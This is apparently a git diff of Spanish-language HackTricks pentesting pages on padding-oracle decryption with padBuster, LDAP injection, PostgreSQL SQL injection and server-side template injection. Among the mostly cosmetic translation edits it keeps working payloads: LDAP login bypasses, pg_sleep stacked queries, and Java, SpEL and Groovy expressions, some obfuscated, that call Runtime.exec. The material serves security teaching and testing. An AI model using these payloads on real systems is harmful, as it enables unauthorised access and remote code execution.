padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||||
```
|
```
|
||||||
Padbuster hará varios intentos y te preguntará cuál es la condición de error (la que no es válida).
|
Padbuster hará varios intentos y te preguntará cuál condición es la condición de error (la que no es válida).
|
||||||
|
|
||||||
Luego comenzará a descifrar la cookie (puede tardar varios minutos)
|
Luego comenzará a descifrar la cookie (puede tardar varios minutos)
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -57,7 +57,7 @@ Por ejemplo:\
|
||||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||||
`(&(objectClass=user)(uid=*))`
|
`(&(objectClass=user)(uid=*))`
|
||||||
|
|
||||||
Puedes acceder a la base de datos, y esta puede contener información de muchos tipos diferentes.
|
Puedes acceder a la base de datos, y esto puede contener información de muchos tipos diferentes.
|
||||||
|
|
||||||
**OpenLDAP**: Si llegan 2 filtros, solo ejecuta el primero.\
|
**OpenLDAP**: Si llegan 2 filtros, solo ejecuta el primero.\
|
||||||
**ADAM o Microsoft LDS**: Con 2 filtros lanzan un error.\
|
**ADAM o Microsoft LDS**: Con 2 filtros lanzan un error.\
|
||||||
|
@ -75,7 +75,7 @@ Luego: `(&(objectClass=`**`*)(ObjectClass=*))`** será el primer filtro (el que
|
||||||
|
|
||||||
### Login Bypass
|
### Login Bypass
|
||||||
|
|
||||||
LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, esta sea hasheada.
|
LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, esté hasheada.
|
||||||
```bash
|
```bash
|
||||||
user=*
|
user=*
|
||||||
password=*
|
password=*
|
||||||
|
@ -134,7 +134,7 @@ password=any
|
||||||
|
|
||||||
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||||||
* [Atributos LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
* [Atributos LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
||||||
* [Atributos LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
* [Atributos de PosixAccount LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||||
|
|
||||||
### Inyección LDAP Ciega
|
### Inyección LDAP Ciega
|
||||||
|
|
||||||
|
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||||
|
|
||||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
|
|
@ -15,15 +15,15 @@ Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png"
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos postgresql y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos de postgresql y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||||
|
|
||||||
## Interacción de Red - Escalación de Privilegios, Escáner de Puertos, divulgación de respuesta de desafío NTLM y Exfiltración
|
## Interacción de Red - Escalación de Privilegios, Escáner de Puertos, divulgación de respuesta de desafío NTLM y Exfiltración
|
||||||
|
|
||||||
|
@ -33,7 +33,7 @@ El **módulo de PostgreSQL `dblink`** ofrece capacidades para conectarse a otras
|
||||||
|
|
||||||
Puedes [**leer este ejemplo**](dblink-lo\_import-data-exfiltration.md) para ver un ejemplo de CTF de **cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de objetos grandes dentro del nombre de usuario** de la función `dblink_connect`.
|
Puedes [**leer este ejemplo**](dblink-lo\_import-data-exfiltration.md) para ver un ejemplo de CTF de **cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de objetos grandes dentro del nombre de usuario** de la función `dblink_connect`.
|
||||||
|
|
||||||
## Ataques de PostgreSQL: Lectura/escritura, RCE, privesc
|
## Ataques de PostgreSQL: Leer/escribir, RCE, privesc
|
||||||
|
|
||||||
Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:
|
Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@ Manipular cadenas podría ayudarte a **eludir WAFs u otras restricciones**.\
|
||||||
|
|
||||||
### Consultas Apiladas
|
### Consultas Apiladas
|
||||||
|
|
||||||
Recuerda que PostgreSQL soporta consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de inyección de tiempo:
|
Recuerda que postgresql soporta consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Pero, aún puedes abusar de las consultas apiladas a través de inyección de tiempo:
|
||||||
```
|
```
|
||||||
id=1; select pg_sleep(10);-- -
|
id=1; select pg_sleep(10);-- -
|
||||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
||||||
SELECT $$hacktricks$$;
|
SELECT $$hacktricks$$;
|
||||||
SELECT $TAG$hacktricks$TAG$;
|
SELECT $TAG$hacktricks$TAG$;
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -113,7 +113,7 @@ Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png"
|
||||||
|
|
||||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,7 +1,9 @@
|
||||||
# SSTI (Inyección de Plantillas del Lado del Servidor)
|
# SSTI (Inyección de Plantillas del Lado del Servidor)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
||||||
|
|
||||||
|
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -17,7 +19,7 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -46,17 +48,23 @@ Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialm
|
||||||
* Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
|
* Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
|
||||||
* Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
|
* Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
|
||||||
* **Contexto de Texto Plano**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
|
* **Contexto de Texto Plano**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
|
||||||
* **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
* **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
||||||
|
|
||||||
#### Fase de Identificación
|
#### Fase de Identificación
|
||||||
|
|
||||||
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen `${7/0}`, `{{7/0}}`, y `<%= 7/0 %>`. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
|
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen `${7/0}`, `{{7/0}}`, y `<%= 7/0 %>`. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
|
||||||
|
|
||||||
|
#### Identificación por payloads
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
## Herramientas
|
## Herramientas
|
||||||
|
|
||||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||||
|
|
||||||
un escáner SSTI + CSTI eficiente que utiliza poliglotas novedosas.
|
un escáner SSTI + CSTI eficiente que utiliza poliglotas novedosos.
|
||||||
```bash
|
```bash
|
||||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||||
|
@ -215,7 +223,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
```
|
```
|
||||||
**Bypass filters**
|
**Bypass filters**
|
||||||
|
|
||||||
Se pueden usar múltiples expresiones de variables; si `${...}` no funciona, prueba `#{...}`, `*{...}`, `@{...}` o `~{...}`.
|
Se pueden usar múltiples expresiones de variables, si `${...}` no funciona, prueba `#{...}`, `*{...}`, `@{...}` o `~{...}`.
|
||||||
|
|
||||||
* Leer `/etc/passwd`
|
* Leer `/etc/passwd`
|
||||||
```java
|
```java
|
||||||
|
@ -386,7 +394,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||||
Expression Language (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans gestionados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:
|
Expression Language (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans gestionados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:
|
||||||
|
|
||||||
* **JavaServer Faces (JSF)**: Emplea EL para vincular componentes en páginas JSF a los datos y acciones correspondientes en el backend.
|
* **JavaServer Faces (JSF)**: Emplea EL para vincular componentes en páginas JSF a los datos y acciones correspondientes en el backend.
|
||||||
* **JavaServer Pages (JSP)**: EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de la página con los datos de la aplicación.
|
* **JavaServer Pages (JSP)**: EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de la página a los datos de la aplicación.
|
||||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans gestionados, asegurando una estructura de aplicación más coherente.
|
* **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans gestionados, asegurando una estructura de aplicación más coherente.
|
||||||
|
|
||||||
Consulta la siguiente página para aprender más sobre la **explotación de intérpretes de EL**:
|
Consulta la siguiente página para aprender más sobre la **explotación de intérpretes de EL**:
|
||||||
|
@ -422,6 +430,12 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
|
||||||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||||||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||||
```
|
```
|
||||||
|
### Otro Java
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
|
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
|
||||||
|
@ -586,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
|
||||||
|
|
||||||
|
### Otro PHP
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
### Jade (NodeJS)
|
### Jade (NodeJS)
|
||||||
```javascript
|
```javascript
|
||||||
- var x = root.process
|
- var x = root.process
|
||||||
|
@ -709,6 +729,14 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||||||
|
|
||||||
|
### Otros NodeJS
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
### ERB (Ruby)
|
### ERB (Ruby)
|
||||||
|
|
||||||
* `{{7*7}} = {{7*7}}`
|
* `{{7*7}} = {{7*7}}`
|
||||||
|
@ -740,6 +768,14 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||||
|
|
||||||
|
### Otro Ruby
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
### Python
|
### Python
|
||||||
|
|
||||||
Consulta la siguiente página para aprender trucos sobre **ejecución de comandos arbitrarios eludiendo sandboxes** en python:
|
Consulta la siguiente página para aprender trucos sobre **ejecución de comandos arbitrarios eludiendo sandboxes** en python:
|
||||||
|
@ -778,7 +814,7 @@ Consulta la siguiente página para aprender trucos sobre **ejecución de comando
|
||||||
|
|
||||||
[Sitio web oficial](http://jinja.pocoo.org)
|
[Sitio web oficial](http://jinja.pocoo.org)
|
||||||
|
|
||||||
> Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo de unicode, un entorno de ejecución integrado opcional y aislado, es ampliamente utilizado y tiene licencia BSD.
|
> Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo para unicode, un entorno de ejecución sandboxed integrado opcional, es ampliamente utilizado y tiene licencia BSD.
|
||||||
|
|
||||||
* `{{7*7}} = Error`
|
* `{{7*7}} = Error`
|
||||||
* `${7*7} = ${7*7}`
|
* `${7*7} = ${7*7}`
|
||||||
|
@ -850,6 +886,14 @@ ${x}
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||||
|
|
||||||
|
### Otro Python
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
### Razor (.Net)
|
### Razor (.Net)
|
||||||
|
|
||||||
